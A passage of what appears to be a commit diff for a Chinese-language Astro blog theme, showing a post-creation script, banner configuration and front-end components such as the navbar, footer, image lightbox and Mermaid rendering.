generatedPosts: generated.filter((file) => file.replaceAll('\\', '/').startsWith('src/content/posts/')).length,
skippedExistingPosts: [...postPaths.values()].filter((post) => post.exists).length,
sourceContentTypes: Object.fromEntries([...new Set(allContents.map((record) => text(field(record, 'type')) ?? 'unknown'))].sort().map((type) => [type, allContents.filter((record) => (text(field(record, 'type')) ?? 'unknown') === type).length])),
categories: [...categories].sort(),
tags: [...tags].sort(),
comments: twikooComments.length,
twikooExampleComments: example.length,
generated
}, null, 2));
}
main();
+71
View File
@@ -0,0 +1,71 @@
import fs from 'node:fs';
import path from 'node:path';
import process from 'node:process';
import readline from 'node:readline/promises';
import { stdin as input, stdout as output } from 'node:process';
const root = process.cwd();
const now = new Date();
const year = String(now.getFullYear());
const month = String(now.getMonth() + 1).padStart(2, '0');
const postsDir = path.join(root, 'src', 'content', 'posts', year, month);
const rl = readline.createInterface({ input, output });
async function main() {
try {
let answers;
if (input.isTTY) {
answers = [
await rl.question('文章标题: '),
await rl.question('文章类名: '),
await rl.question('文章封面(可选,直接回车跳过): ')
];
} else {
answers = [];
for await (const line of rl) answers.push(line);
}
const [rawTitle = '', rawSlug = '', rawCover = ''] = answers;
const title = rawTitle.trim();
const slug = rawSlug.trim();
const cover = rawCover.trim();
if (!title) throw new Error('文章标题不能为空');
if (!slug) throw new Error('文章类名不能为空');
if (!/^[^\\/:*?"<>|]+$/.test(slug) || slug === '.' || slug === '..') {
throw new Error('文章类名只能是单个文件名,不能包含路径或 Windows 保留字符');
}
const target = path.join(postsDir, `${slug}.md`);
if (fs.existsSync(target)) throw new Error(`文章已存在: ${path.relative(root, target)}`);
const pubDate = now.toISOString();
const frontmatter = [
'---',
`title: ${JSON.stringify(title)}`,
`pubDate: ${JSON.stringify(pubDate)}`,
...(cover ? [`cover: ${JSON.stringify(cover)}`] : []),
'categories: []',
'tags: []',
'draft: true',
'---',
'',
''
].join('\n');
fs.mkdirSync(postsDir, { recursive: true });
fs.writeFileSync(target, frontmatter, 'utf8');
console.log(`已新建文章: ${path.relative(root, target)}`);
} catch (error) {
console.error(`新建文章失败: ${error.message}`);
process.exitCode = 1;
} finally {
rl.close();
}
}
main().catch((error) => {
console.error(`新建文章失败: ${error.message}`);
process.exitCode = 1;
});
+60
View File
@@ -0,0 +1,60 @@
import { siteConfig } from '@/site.config';
import type { BannerTextTone } from '@/types/config';
export interface TaxonomyBanner {
image?: string;
position?: string;
title?: string;
subtitle?: string;
textTone?: BannerTextTone;
}
// Keys are taxonomy slugs, as returned by slugify().
export const categoryBanners = {
'随笔': {
image: 'https://images.unsplash.com/photo-1494438639946-1ebd1d20bf85?auto=format&fit=crop&w=2000&q=85',
position: 'center center',
subtitle: '留住日常里值得重读的片段。'
},
'写作': {
image: 'https://images.unsplash.com/photo-1455390582262-044cdead277a?auto=format&fit=crop&w=2000&q=85',
position: 'center center',
subtitle: '把零散的念头整理成文字。'
}
} satisfies Record<string, TaxonomyBanner>;
export const tagBanners = {
'开始': {
image: 'https://images.unsplash.com/photo-1490730141103-6cac27aaab94?auto=format&fit=crop&w=2000&q=85',
position: 'center center'
},
'写作': {
image: 'https://images.unsplash.com/photo-1455390582262-044cdead277a?auto=format&fit=crop&w=2000&q=85',
position: 'center center'
}
} satisfies Record<string, TaxonomyBanner>;
export interface ResolvedTaxonomyBanner {
title: string;
subtitle: string;
image?: string;
position: string;
textTone?: BannerTextTone;
}
export function resolveTaxonomyBanner(
banners: Readonly<Record<string, TaxonomyBanner>>,
slug: string,
fallback: Pick<ResolvedTaxonomyBanner, 'title' | 'subtitle'>
): ResolvedTaxonomyBanner {
const configured = Object.prototype.hasOwnProperty.call(banners, slug) ? banners[slug] : undefined;
const defaultImage = siteConfig.cards.defaultCovers[0];
return {
title: configured?.title ?? fallback.title,
subtitle: configured?.subtitle ?? fallback.subtitle,
image: configured?.image ?? siteConfig.banner.image ?? defaultImage,
position: configured?.position ?? siteConfig.banner.position,
textTone: configured?.textTone ?? siteConfig.banner.textTone
};
}
+39
View File
@@ -0,0 +1,39 @@
---
import { ArrowUp } from '@lucide/astro';
---
<button class="back-to-top" type="button" aria-label="返回顶部" title="返回顶部" data-back-to-top><ArrowUp aria-hidden="true" size={18} /></button>
<script>
const getButton = () => document.querySelector<HTMLButtonElement>('[data-back-to-top]');
const drawerOpen = () => {
const mobileDrawer = document.querySelector<HTMLElement>('[data-drawer]');
const tocDrawer = document.querySelector<HTMLElement>('[data-toc-drawer]');
return mobileDrawer?.getAttribute('aria-hidden') === 'false' || tocDrawer?.getAttribute('aria-hidden') === 'false';
};
const update = () => getButton()?.classList.toggle('is-visible', window.scrollY > 480 && !drawerOpen());
window.addEventListener('scroll', update, { passive: true });
document.addEventListener('click', (event) => {
if (event.target instanceof Element && event.target.closest('[data-back-to-top]')) {
window.scrollTo({ top: 0, behavior: 'smooth' });
}
});
const observeDrawers = () => {
['[data-drawer]', '[data-toc-drawer]'].forEach((selector) => {
const drawer = document.querySelector<HTMLElement>(selector);
if (drawer) new MutationObserver(update).observe(drawer, { attributes: true, attributeFilter: ['aria-hidden'] });
});
};
document.addEventListener('astro:page-load', () => {
observeDrawers();
update();
});
observeDrawers();
update();
</script>
<style>
.back-to-top { position: fixed; z-index: 30; right: max(14px, env(safe-area-inset-right)); bottom: max(14px, env(safe-area-inset-bottom)); display: grid; width: 42px; height: 42px; border: 1px solid var(--color-border); border-radius: 50%; background: var(--color-surface); color: var(--color-muted); box-shadow: var(--shadow-soft); cursor: pointer; opacity: 0; pointer-events: none; transform: translateY(8px); transition: opacity var(--transition-fast), transform var(--transition-fast); place-items: center; }
.back-to-top.is-visible { opacity: 1; pointer-events: auto; transform: translateY(0); }
@media (max-width: 600px) { .back-to-top { width: 38px; height: 38px; } }
</style>
+62
View File
@@ -0,0 +1,62 @@
---
import { siteConfig } from '@/site.config';
import lightSticker from '@/images/Written-By-Human-white.svg';
import darkSticker from '@/images/Written-By-Human-black.svg';
const containsChinese = (value: string) => /[\u3400-\u9fff]/.test(value);
const blogDomain = new URL(siteConfig.site.url).hostname;
const blogsClubBadge = `https://www.blogsclub.org/badge/${blogDomain}/theme`;
---
<footer class="w-full border-t border-line bg-raised px-5 py-5 text-center font-mono text-xs leading-6 text-subtle" data-pagefind-ignore="all">
<div class="mx-auto max-w-[73.125rem]">
<div class="footer-badges">
<a href="https://notbyai.fyi" target="_blank" rel="noreferrer" aria-label="Not By AI">
<img class="footer-badge-image" src={lightSticker.src} data-light-src={lightSticker.src} data-dark-src={darkSticker.src} width="131" height="42" alt="Not By AI" />
</a>
<a href="https://www.blogsclub.org/rank.html" target="_blank" rel="noreferrer" aria-label="博阅榜">
<img class="footer-badge-image blogs-club-badge" src={`${blogsClubBadge}/simple`} data-light-src={`${blogsClubBadge}/simple`} data-dark-src={`${blogsClubBadge}/simple-dark`} height="42" alt="博阅榜" loading="lazy" />
</a>
</div>
{siteConfig.footer.links.length > 0 && <nav aria-label="页脚导航">{siteConfig.footer.links.map((item, index) => <Fragment>{index > 0 && ' · '}<a data-text-link href={item.href} target={item.external ? '_blank' : undefined} rel={item.external ? 'noreferrer' : undefined}><span class:list={{ 'footer-chinese': containsChinese(item.label) }} lang={containsChinese(item.label) ? 'zh-CN' : undefined}>{item.label}</span></a></Fragment>)}</nav>}
{siteConfig.footer.copyright && <p class="m-0">{siteConfig.footer.copyright}</p>}
{siteConfig.footer.note && <p class="footer-chinese m-0" lang="zh-CN">{siteConfig.footer.note}</p>}
{siteConfig.footer.theme && <p class="m-0"><a data-text-link href={siteConfig.footer.theme.href} target={siteConfig.footer.theme.external ? '_blank' : undefined} rel={siteConfig.footer.theme.external ? 'noreferrer' : undefined}>{siteConfig.footer.theme.label}</a></p>}
</div>
</footer>
<style>
.footer-chinese {
font-family: var(--mirages-font-sans);
}
.footer-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 0.75rem;
margin-bottom: 0.5rem;
}
.footer-badges a { line-height: 0; }
.footer-badge-image { display: block; }
.blogs-club-badge { height: 42px !important; width: auto; }
</style>
<script>
const root = document.documentElement;
const systemTheme = matchMedia('(prefers-color-scheme: dark)');
const syncBadges = () => {
const isDark = root.dataset.theme === 'dark' || (root.dataset.theme === 'auto' && systemTheme.matches);
document.querySelectorAll<HTMLImageElement>('.footer-badge-image').forEach((badge) => {
badge.src = isDark ? badge.dataset.darkSrc ?? badge.src : badge.dataset.lightSrc ?? badge.src;
});
};
syncBadges();
systemTheme.addEventListener('change', syncBadges);
const themeObserver = new MutationObserver(syncBadges);
themeObserver.observe(root, { attributes: true, attributeFilter: ['data-theme'] });
document.addEventListener('astro:page-load', syncBadges);
</script>
+88
View File
@@ -0,0 +1,88 @@
<script>
import 'photoswipe/style.css';
const imageSelector = '.prose img';
const excludedImageAncestors = '.mermaid, .katex, pre, [data-lightbox-ignore]';
let lightboxPromise: Promise<import('photoswipe/lightbox').default> | undefined;
const isLightboxImage = (image: HTMLImageElement, prose: HTMLElement) =>
prose.contains(image) && !image.closest(excludedImageAncestors) && !image.closest('a');
const getImages = (prose: HTMLElement) => [...prose.querySelectorAll<HTMLImageElement>('img')]
.filter((image) => isLightboxImage(image, prose));
const getSize = (image: HTMLImageElement) => {
const width = Number(image.dataset.originalWidth) || Number(image.getAttribute('width')) || image.naturalWidth || image.clientWidth || 1200;
const height = Number(image.dataset.originalHeight) || Number(image.getAttribute('height')) || image.naturalHeight || image.clientHeight || Math.round(width * 2 / 3);
return { width, height };
};
const open = async (image: HTMLImageElement, images: HTMLImageElement[]) => {
const index = images.indexOf(image);
const src = image.currentSrc || image.src;
if (index < 0 || !src) return;
const items = images.map((item) => ({
...getSize(item),
src: item.dataset.originalSrc || item.currentSrc || item.src,
alt: item.alt
}));
lightboxPromise ??= import('photoswipe/lightbox').then(({ default: PhotoSwipeLightbox }) => {
const lightbox = new PhotoSwipeLightbox({
pswpModule: () => import('photoswipe'),
bgClickAction: 'close'
});
lightbox.init();
return lightbox;
});
try {
const lightbox = await lightboxPromise;
lightbox.loadAndOpen(index, items);
} catch (error) {
lightboxPromise = undefined;
console.error('Unable to open image lightbox', error);
}
};
const init = () => {
document.querySelectorAll<HTMLElement>('.prose').forEach((prose) => {
if (prose.dataset.lightboxReady === 'true') return;
prose.dataset.lightboxReady = 'true';
const prepareImage = (image: HTMLImageElement) => {
if (!isLightboxImage(image, prose)) return;
image.classList.add('lightbox-image');
image.tabIndex = image.tabIndex >= 0 ? image.tabIndex : 0;
image.setAttribute('role', 'button');
image.setAttribute('aria-label', image.alt ? `查看大图:${image.alt}` : '查看大图');
};
getImages(prose).forEach(prepareImage);
const observer = new MutationObserver(() => getImages(prose).forEach(prepareImage));
observer.observe(prose, { childList: true, subtree: true });
prose.addEventListener('click', (event) => {
const target = event.target;
if (!(target instanceof Element)) return;
const image = target.closest<HTMLImageElement>(imageSelector);
if (!image || !isLightboxImage(image, prose)) return;
event.preventDefault();
event.stopPropagation();
void open(image, getImages(prose));
});
prose.addEventListener('keydown', (event) => {
const target = event.target;
if (!(target instanceof Element)) return;
const image = target.closest<HTMLImageElement>(imageSelector);
if (!image || !isLightboxImage(image, prose) || (event.key !== 'Enter' && event.key !== ' ')) return;
event.preventDefault();
void open(image, getImages(prose));
});
});
};
init();
document.addEventListener('astro:page-load', init);
</script>
<style is:global>
.prose img.lightbox-image { cursor: zoom-in; }
.prose img.lightbox-image:focus-visible { outline: 2px solid var(--color-accent); outline-offset: 4px; }
</style>
+129
View File
@@ -0,0 +1,129 @@
---
import { siteConfig } from '@/site.config';
import { slugify } from '@/lib/content';
import type { BannerTextTone } from '@/types/config';
interface Props {
article?: {
title: string;
date: { year: string; month: string; day: string };
categories: string[];
image?: string;
textTone?: BannerTextTone;
};
banner?: {
title: string;
subtitle?: string;
image?: string;
position?: string;
textTone?: BannerTextTone;
};
about?: boolean;
textTone?: BannerTextTone;
}
const { article, banner, about = false } = Astro.props;
const enabled = Boolean(about || article || banner || siteConfig.banner.enabled);
const image = banner ? banner.image : article?.image ?? (about ? undefined : siteConfig.banner.image);
const title = about ? siteConfig.site.author.name : (banner?.title ?? article?.title ?? siteConfig.banner.title);
const subtitle = banner?.subtitle ?? siteConfig.banner.subtitle;
const position = banner?.position ?? siteConfig.banner.position;
---
{enabled && <section
class="relative top-0 flex min-h-50 items-center justify-center overflow-hidden bg-raised pt-16 text-center text-foreground md:pt-16"
style={`background-position: ${position}; --mobile-height: ${siteConfig.banner.mobileHeightVh}vh; --desktop-height: ${siteConfig.banner.desktopHeightVh}vh; --overlay: ${siteConfig.banner.overlay}`}
data-banner-image={image || undefined}
data-banner-tone={image ? 'light' : undefined}
aria-labelledby="masthead-title"
data-pagefind-ignore="all"
data-banner
>
{image && <div
class="absolute inset-0 z-0 bg-cover bg-no-repeat"
style={`background-image: url("${image}"); background-position: ${position}`}
aria-hidden="true"
></div>}
{image && <div class="absolute inset-0 z-[1]" style={`background-color: rgb(0 0 0 / ${siteConfig.banner.overlay})`} aria-hidden="true"></div>}
<div class="relative z-10 flex w-[calc(100%-1.75rem)] flex-col items-center justify-center">
{about && <img
class:list={['mb-5 size-[7rem] rounded-full border-4 border-white/85 object-cover shadow-lg md:size-[9.375rem]', { 'about-avatar': siteConfig.site.author.rotateAvatar }]}
src={siteConfig.site.author.avatar}
alt={`${siteConfig.site.author.name} 的头像`}
width="150"
height="150"
loading="eager"
fetchpriority="high"
/>}
<h1 class="m-0 text-[2rem] leading-tight font-light tracking-[0] md:text-[2.5rem]" id="masthead-title">{title}</h1>
{article ? <p class="masthead-meta mt-3 mb-0 flex flex-wrap items-center justify-center gap-x-2 gap-y-1 text-[0.9375rem] md:text-base">
<span class="masthead-date"><span>{article.date.year}</span><strong>年</strong><span>{article.date.month}</span><strong>月</strong><span>{article.date.day}</span><strong>日</strong></span>
{article.categories.length > 0 && <span class="masthead-separator" aria-hidden="true">·</span>}
{article.categories.map((category, index) => <Fragment>
{index > 0 && <span class="masthead-separator" aria-hidden="true">/</span>}
<a class="masthead-category" data-text-link href={`/categories/${slugify(category)}/`}>{category}</a>
</Fragment>)}
</p> : !about && subtitle && <p class="mt-3 mb-0 text-[0.9375rem] md:text-base">{subtitle}</p>}
</div>
</section>}
{enabled && image && <script>
const updateBannerTone = () => {
const masthead = document.querySelector<HTMLElement>('[data-banner][data-banner-image]');
const imageUrl = masthead?.dataset.bannerImage;
if (!masthead || !imageUrl) return;
const source = new Image();
source.crossOrigin = 'anonymous';
source.onload = () => {
try {
const canvas = document.createElement('canvas');
const size = 32;
canvas.width = size;
canvas.height = size;
const context = canvas.getContext('2d', { willReadFrequently: true });
if (!context) throw new Error('Canvas context unavailable');
context.drawImage(source, 0, 0, size, size);
const pixels = context.getImageData(0, 0, size, size).data;
let luma = 0;
let weight = 0;
for (let index = 0; index < pixels.length; index += 4) {
const alpha = pixels[index + 3] / 255;
luma += (0.2126 * pixels[index] + 0.7152 * pixels[index + 1] + 0.0722 * pixels[index + 2]) * alpha;
weight += alpha;
}
masthead.dataset.bannerTone = weight && luma / weight >= 150 ? 'dark' : 'light';
} catch {
masthead.dataset.bannerTone = 'light';
}
};
source.onerror = () => { masthead.dataset.bannerTone = 'light'; };
source.src = imageUrl;
};
document.addEventListener('astro:page-load', updateBannerTone);
updateBannerTone();
</script>}
<style>
section { height: var(--mobile-height); }
:global(:root[data-font='serif']) section h1 { font-weight: 700; }
section[data-banner-image][data-banner-tone='dark'] h1,
section[data-banner-image][data-banner-tone='dark'] p,
section[data-banner-image][data-banner-tone='dark'] .masthead-meta { color: #201e1d; text-shadow: 0 1px 2px rgb(255 255 255 / 18%); }
section[data-banner-image][data-banner-tone='light'] h1,
section[data-banner-image][data-banner-tone='light'] p,
section[data-banner-image][data-banner-tone='light'] .masthead-meta { color: #fff; text-shadow: 0 1px 2px rgb(0 0 0 / 24%); }
section[data-banner-image][data-banner-tone='dark'] .masthead-meta a,
section[data-banner-image][data-banner-tone='light'] .masthead-meta a { color: inherit; }
.masthead-meta a { color: inherit; }
.masthead-meta a::after { border-color: currentColor; }
.masthead-date,
.masthead-separator { font-family: Consolas, Menlo, Monaco, 'lucida_console', 'Liberation_Mono', 'Courier_New', 'andale_mono', monospaceX, monospace, sans-serif; }
.masthead-date strong { font-family: var(--mirages-font-ui); font-weight: 400; }
.masthead-category { font-family: var(--mirages-font-ui); }
.about-avatar { animation: avatar-rotate 8s ease-in-out infinite alternate; }
@keyframes avatar-rotate { from { transform: rotate(-2deg); } to { transform: rotate(2deg); } }
@media (min-width: 48rem) { section { height: var(--desktop-height); } }
@media (prefers-reduced-motion: reduce) { .about-avatar { animation: none; transform: none; } }
</style>
+22
View File
@@ -0,0 +1,22 @@
---
interface Props { enabled: boolean; }
const { enabled } = Astro.props;
---
{enabled && <script>
const blocks = [...document.querySelectorAll('pre code.language-mermaid, pre[data-language="mermaid"] code')];
if (blocks.length) {
const mermaid = await import('mermaid');
const dark = document.documentElement.dataset.theme === 'dark' || (document.documentElement.dataset.theme === 'auto' && matchMedia('(prefers-color-scheme: dark)').matches);
mermaid.default.initialize({ startOnLoad: false, theme: dark ? 'dark' : 'default', securityLevel: 'strict' });
await Promise.all(blocks.map(async (block, index) => {
const wrapper = block.parentElement;
if (!wrapper) return;
const container = document.createElement('div');
container.className = 'mermaid';
container.id = `mermaid-${index}`;
container.textContent = block.textContent ?? '';
wrapper.replaceWith(container);
await mermaid.default.run({ nodes: [container] });
}));
}
</script>}
+189
View File
@@ -0,0 +1,189 @@
---
import { Check, ChevronDown } from '@lucide/astro';
import { siteConfig } from '@/site.config';
import { deriveTaxonomy, getPublicPosts, slugify } from '@/lib/content';
import ThemeSwitcher from './ThemeSwitcher.astro';
import Search from './Search.astro';
import ToolbarIcon from './ToolbarIcon.astro';
const pageItems = siteConfig.navigation.filter((item) => item.href !== '/');
const categories = deriveTaxonomy(await getPublicPosts(), 'categories');
const toolbarItems = siteConfig.toolbarItems.filter((item) => item.type !== 'search' || siteConfig.search.provider === 'pagefind');
const sidebarToolbarItems = toolbarItems.filter((item) => item.type !== 'search');
const hasSidebarSearch = siteConfig.search.provider === 'pagefind';
interface Props { overlay?: boolean; }
const { overlay = false } = Astro.props;
---
<header class:list={['fixed inset-x-0 top-0 z-40 hidden h-[4rem] border-b border-line/60 bg-nav text-foreground shadow-[0_2px_10px_rgb(0_0_0/8%)] backdrop-blur-md md:flex', { 'navbar-over-banner': overlay }]} data-desktop-navbar data-pagefind-ignore="all">
<div class="mx-auto flex h-full min-w-0 w-[calc(100%-2.5rem)] max-w-[1170px] items-center gap-[1.75rem]">
<a class="shrink-0 text-[1.25rem] font-bold text-current no-underline hover:text-mirages-accent" href="/" aria-label={`${siteConfig.site.title} 首页`}>{siteConfig.site.title}</a>
<nav class="flex min-w-0 items-center gap-[1.5rem]" aria-label="主导航">
<details class="group relative" data-category-menu>
<summary class="flex cursor-pointer list-none items-center gap-1 text-[0.9375rem] text-current/80 hover:text-mirages-accent [&::-webkit-details-marker]:hidden">
<span>分类</span><ChevronDown class="transition-transform duration-150 group-open:rotate-180" aria-hidden="true" size="1em" />
</summary>
<div class="absolute top-[calc(100%+20px)] left-0 z-50 min-w-44 border border-line bg-page py-1 text-foreground shadow-mirages">
{categories.length > 0 ? categories.map((category) => (
<a class="flex items-center justify-between gap-5 px-3 py-2 text-sm no-underline hover:bg-raised" href={`/categories/${slugify(category.name)}/`}>
<span>{category.name}</span><span class="text-xs text-subtle">{category.count}</span>
</a>
)) : <span class="block px-3 py-2 text-sm text-subtle">暂无分类</span>}
</div>
</details>
{pageItems.map((item) => <a class="text-[0.9375rem] text-current/80 no-underline hover:text-mirages-accent" href={item.href} target={item.external ? '_blank' : undefined} rel={item.external ? 'noreferrer' : undefined}>{item.label}</a>)}
</nav>
<div class="ml-auto flex shrink-0 items-center" data-navbar-tools>
{toolbarItems.map((item) => (
<div class="relative flex items-center" data-toolbar-item={item.type} data-toolbar-name={item.name}>
{item.type === 'search' && <Search />}
{item.type === 'settings' && <ThemeSwitcher />}
{item.type === 'link' && <a class="grid size-[2.5rem] shrink-0 place-items-center text-current/80 no-underline hover:bg-current/10 hover:text-current" href={item.href} target={item.external ? '_blank' : undefined} rel={item.external ? 'noreferrer' : undefined} aria-label={item.name} title={item.name}><ToolbarIcon icon={item.icon} /><span class="sr-only">{item.name}</span></a>}
{item.type === 'rss' && <button class="relative grid size-[2.5rem] shrink-0 cursor-pointer place-items-center border-0 bg-transparent p-0 text-current/80 hover:bg-current/10 hover:text-current" type="button" aria-label={item.name} title={item.name} data-rss-copy data-rss-url={item.href}><span class="grid place-items-center leading-none" data-rss-default-icon><ToolbarIcon icon={item.icon} /></span><Check class="hidden" aria-hidden="true" size="1em" data-rss-success-icon /><span class="pointer-events-none absolute top-[calc(100%+0.5rem)] left-1/2 hidden -translate-x-1/2 whitespace-nowrap rounded-[4px] bg-foreground px-2 py-1 text-xs text-page shadow-mirages" role="status" data-rss-feedback>已复制</span><span class="sr-only">{item.name}</span></button>}
</div>
))}
</div>
</div>
</header>
<button class="fixed top-[0.75rem] left-[0.75rem] z-[70] h-[2.5rem] cursor-pointer rounded-full border border-line/70 bg-nav px-[1.25rem] text-xs font-semibold tracking-[0.08em] text-foreground shadow-[0_2px_8px_rgb(0_0_0/24%)] backdrop-blur-sm transition-transform duration-200 md:hidden" id="toggle-nav" type="button" aria-label="打开导航" aria-controls="site-navigation" aria-expanded="false" data-open-drawer><span>MENU</span></button>
<div class="pointer-events-none fixed inset-0 z-50 bg-black/40 opacity-0 transition-opacity duration-200 md:hidden" aria-hidden="true" data-drawer-backdrop></div>
<aside class="fixed inset-y-0 left-0 z-[60] flex w-[17.5rem] max-w-[84vw] -translate-x-full flex-col bg-page text-foreground shadow-none transition-transform duration-200 md:hidden" id="site-navigation" aria-label="移动端导航" aria-hidden="true" data-drawer data-pagefind-ignore="all">
<div class="min-h-0 flex-1 overflow-y-auto px-5 pt-9">
<div class="mb-6 flex justify-center" data-sidebar-avatar>
<a class="grid size-24 place-items-center overflow-hidden rounded-full border-2 border-line bg-raised text-2xl font-bold no-underline shadow-mirages" href="/about/" aria-label="关于作者">
<img class="size-full object-cover" src={siteConfig.site.author.avatar} alt={`${siteConfig.site.author.name} 的头像`} width="100" height="100" />
</a>
</div>
{hasSidebarSearch && <div class="mb-5" data-sidebar-search><Search mobile /></div>}
<nav aria-label="侧栏菜单">
<ul class="m-0 list-none p-0 text-[0.9375rem]">
<li><a class="block border-b border-line px-2 py-3 text-center no-underline" href="/">首页</a></li>
<li>
<button class="block w-full cursor-pointer border-0 border-b border-line bg-transparent px-2 py-3 text-center text-inherit" type="button" aria-expanded="false" aria-controls="mobile-category-menu" data-mobile-category-trigger>分类</button>
<details id="mobile-category-menu" data-mobile-category-menu>
<summary class="sr-only" aria-hidden="true">分类</summary>
<ul class="m-0 list-none p-0">
{categories.length > 0 ? categories.map((category) => <li><a class="ml-3 block border-l-2 border-line/60 bg-raised/45 px-3 py-2 text-center text-[0.8125rem] text-subtle no-underline hover:bg-raised hover:text-foreground" href={`/categories/${slugify(category.name)}/`}>{category.name}</a></li>) : <li class="ml-3 border-l-2 border-line/60 bg-raised/45 px-3 py-2 text-center text-[0.8125rem] text-subtle">暂无分类</li>}
</ul>
</details>
</li>
{pageItems.map((item) => <li><a class="block border-b border-line px-2 py-3 text-center no-underline" href={item.href} target={item.external ? '_blank' : undefined} rel={item.external ? 'noreferrer' : undefined}>{item.label}</a></li>)}
</ul>
</nav>
</div>
<div class="relative flex min-h-[4rem] items-center justify-center gap-[0.75rem] border-t border-line bg-raised px-[1rem]" data-sidebar-toolbar>
{sidebarToolbarItems.map((item) => (
<div class="static flex items-center" data-toolbar-item={item.type} data-toolbar-name={item.name}>
{item.type === 'settings' && <ThemeSwitcher placement="up" />}
{item.type === 'link' && <a class="grid size-[2.5rem] shrink-0 place-items-center text-foreground no-underline hover:bg-raised" href={item.href} target={item.external ? '_blank' : undefined} rel={item.external ? 'noreferrer' : undefined} aria-label={item.name} title={item.name}><ToolbarIcon icon={item.icon} /><span class="sr-only">{item.name}</span></a>}
{item.type === 'rss' && <button class="relative grid size-[2.5rem] shrink-0 cursor-pointer place-items-center border-0 bg-transparent p-0 text-foreground hover:bg-raised" type="button" aria-label={item.name} title={item.name} data-rss-copy data-rss-url={item.href}><span class="grid place-items-center leading-none" data-rss-default-icon><ToolbarIcon icon={item.icon} /></span><Check class="hidden" aria-hidden="true" size="1em" data-rss-success-icon /><span class="pointer-events-none absolute bottom-[calc(100%+0.5rem)] left-1/2 hidden -translate-x-1/2 whitespace-nowrap rounded-[4px] bg-foreground px-2 py-1 text-xs text-page shadow-mirages" role="status" data-rss-feedback>已复制</span><span class="sr-only">{item.name}</span></button>}
</div>
))}
</div>
</aside>
<script>
const setOpen = (open: boolean, restore = false) => {
const drawer = document.querySelector<HTMLElement>('[data-drawer]');
const backdrop = document.querySelector<HTMLElement>('[data-drawer-backdrop]');
const openButton = document.querySelector<HTMLButtonElement>('[data-open-drawer]');
drawer?.classList.toggle('-translate-x-full', !open);
openButton?.classList.toggle('is-drawer-open', open);
openButton?.setAttribute('aria-label', open ? '关闭导航' : '打开导航');
backdrop?.classList.toggle('pointer-events-none', !open);
backdrop?.classList.toggle('opacity-0', !open);
openButton?.setAttribute('aria-expanded', String(open));
drawer?.setAttribute('aria-hidden', String(!open));
document.body.classList.toggle('overflow-hidden', open);
if (restore) openButton?.focus();
};
document.addEventListener('click', (event) => {
if (!(event.target instanceof Element)) return;
const target = event.target;
const openButton = target.closest<HTMLButtonElement>('[data-open-drawer]');
const backdrop = target.closest<HTMLElement>('[data-drawer-backdrop]');
const drawer = target.closest<HTMLElement>('[data-drawer]');
const categoryTrigger = target.closest<HTMLButtonElement>('[data-mobile-category-trigger]');
const rssButton = target.closest<HTMLButtonElement>('[data-rss-copy]');
if (rssButton) {
const successIcon = rssButton.querySelector<HTMLElement>('[data-rss-success-icon]');
const defaultIcon = rssButton.querySelector<HTMLElement>('[data-rss-default-icon]');
const feedback = rssButton.querySelector<HTMLElement>('[data-rss-feedback]');
void navigator.clipboard.writeText(new URL(rssButton.dataset.rssUrl ?? '', document.baseURI).href).then(() => {
window.clearTimeout(Number(rssButton.dataset.rssResetTimer));
defaultIcon?.classList.add('hidden');
successIcon?.classList.remove('hidden');
feedback?.classList.remove('hidden');
rssButton.dataset.rssResetTimer = String(window.setTimeout(() => {
defaultIcon?.classList.remove('hidden');
successIcon?.classList.add('hidden');
feedback?.classList.add('hidden');
delete rssButton.dataset.rssResetTimer;
}, 1200));
});
} else if (openButton) {
setOpen(openButton.getAttribute('aria-expanded') !== 'true', true);
} else if (backdrop || (drawer && target.closest('a'))) {
setOpen(false, true);
} else if (categoryTrigger) {
const menu = document.getElementById(categoryTrigger.getAttribute('aria-controls') ?? '') as HTMLDetailsElement | null;
if (menu) menu.open = !menu.open;
}
});
document.addEventListener('toggle', (event) => {
const menu = event.target as HTMLDetailsElement;
if (!menu.matches('[data-mobile-category-menu]')) return;
document.querySelector<HTMLButtonElement>(`[aria-controls="${menu.id}"]`)?.setAttribute('aria-expanded', String(menu.open));
}, true);
document.addEventListener('keydown', (event) => {
const openButton = document.querySelector<HTMLButtonElement>('[data-open-drawer]');
if (event.key === 'Escape' && openButton?.getAttribute('aria-expanded') === 'true') setOpen(false, true);
const menu = event.target instanceof Element ? event.target.closest<HTMLDetailsElement>('[data-category-menu]') : null;
if (event.key === 'Escape' && menu) {
menu.removeAttribute('open');
menu.querySelector<HTMLElement>('summary')?.focus();
}
});
document.addEventListener('pointerdown', (event) => {
document.querySelectorAll<HTMLDetailsElement>('[data-category-menu]').forEach((menu) => {
if (!menu.contains(event.target as Node)) menu.removeAttribute('open');
});
});
document.addEventListener('astro:before-preparation', () => setOpen(false));
</script>
<style is:global>
[data-open-drawer] {
font-family: Arial, Helvetica, sans-serif;
}
[data-open-drawer].is-drawer-open {
transform: translateX(14.25rem);
}
.navbar-over-banner {
border-color: color-mix(in srgb, var(--color-border) 70%, transparent);
background: color-mix(in srgb, var(--color-bg) 82%, transparent);
box-shadow: 0 2px 10px color-mix(in srgb, var(--color-text) 12%, transparent);
}
.navbar-over-banner [data-navbar-tools] > [data-toolbar-item] > a:hover,
.navbar-over-banner [data-navbar-tools] > [data-toolbar-item] > details > summary:hover,
.navbar-over-banner [data-navbar-tools] > [data-toolbar-item] > [data-search-root] > button:hover {
background: color-mix(in srgb, currentColor 16%, transparent);
}
.navbar-over-banner [data-navbar-tools] .navbar-search-container > .search-form {
border-color: color-mix(in srgb, var(--color-text) 50%, transparent);
background: color-mix(in srgb, var(--color-bg) 92%, transparent);
color: var(--color-text);
}
.navbar-over-banner [data-navbar-tools] .navbar-search-container > .search-form input::placeholder {
color: color-mix(in srgb, currentColor 75%, transparent);
}
</style>
+131
View File
@@ -0,0 +1,131 @@
<div class="navigation-progress" data-navigation-progress aria-hidden="true" transition:persist="navigation-progress">
<span class="navigation-progress__bar"></span>
</div>
<script>
let timer: number | undefined;
let completionAnimation: Animation | undefined;
let hideAnimation: Animation | undefined;
const getElements = () => {
const root = document.querySelector<HTMLElement>('[data-navigation-progress]');
const bar = root?.querySelector<HTMLElement>('.navigation-progress__bar');
return { root, bar };
};
const setProgress = (bar: HTMLElement, value: number) => {
if (bar) bar.style.transform = `scaleX(${value})`;
};
const start = () => {
const { root, bar } = getElements();
if (!root || !bar) return;
window.clearInterval(timer);
completionAnimation?.cancel();
hideAnimation?.cancel();
root.classList.remove('is-finishing', 'is-hiding');
root.classList.add('is-visible');
bar.dataset.progress = '0';
bar.style.transition = '';
setProgress(bar, 0);
timer = window.setInterval(() => {
const currentElements = getElements();
if (!currentElements.bar) return;
const currentBar = currentElements.bar;
